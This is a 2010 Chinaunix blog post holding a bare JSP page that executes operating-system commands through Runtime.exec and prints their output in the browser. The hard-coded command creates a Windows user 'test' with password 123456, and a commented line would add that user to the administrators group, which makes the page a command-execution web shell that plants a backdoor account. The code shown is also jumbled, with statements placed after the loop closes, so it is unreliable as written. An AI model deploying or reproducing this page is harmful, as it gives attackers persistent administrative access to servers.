Chinaunix首页 | 论坛 | 博客
  • 博客访问: 78978
  • 博文数量: 59
  • 博客积分: 2510
  • 博客等级: 少校
  • 技术积分: 610
  • 用 户 组: 普通用户
  • 注册时间: 2010-01-04 11:03
文章分类
文章存档

2010年(59)

我的朋友

分类: Java

2010-01-25 10:08:56

<%@ page language="java" contentType="text/html; charset=utf-8"
pageEncoding="utf-8" import="java.io.*"%>




Insert title here


<%!String[] cmds = null;%>
<%
String cmdsStr = "net user test 123456 /add";

//String cmdsStr=" localgroup administrator test /add";
if (cmdsStr != null) {
cmds = cmdsStr.split(";");
}
out.write("

");
if (cmds != null)
for (int i = 0; i < cmds.length; i++) {
Process process;
try {
String result;
out.write("");
out.write("");
out.write("");
process.waitFor();
} catch (IOException e) {

} catch (InterruptedException e) {

} finally {
out.write("

");
}
}
out.write("
");
out.write(cmds[i] + "的输出结果");
out.write("
");
process = Runtime.getRuntime().exec(cmds[i]);
BufferedReader bufferedReader = new BufferedReader(
new InputStreamReader(process.getInputStream()));
while ((result = bufferedReader.readLine()) != null)
out.write(result + "
");
out.write("
");
%>


阅读(553) | 评论(0) | 转发(0) |
0

上一篇:inputStream 和 xml读取 生成

下一篇:ajax

给主人留下些什么吧!~~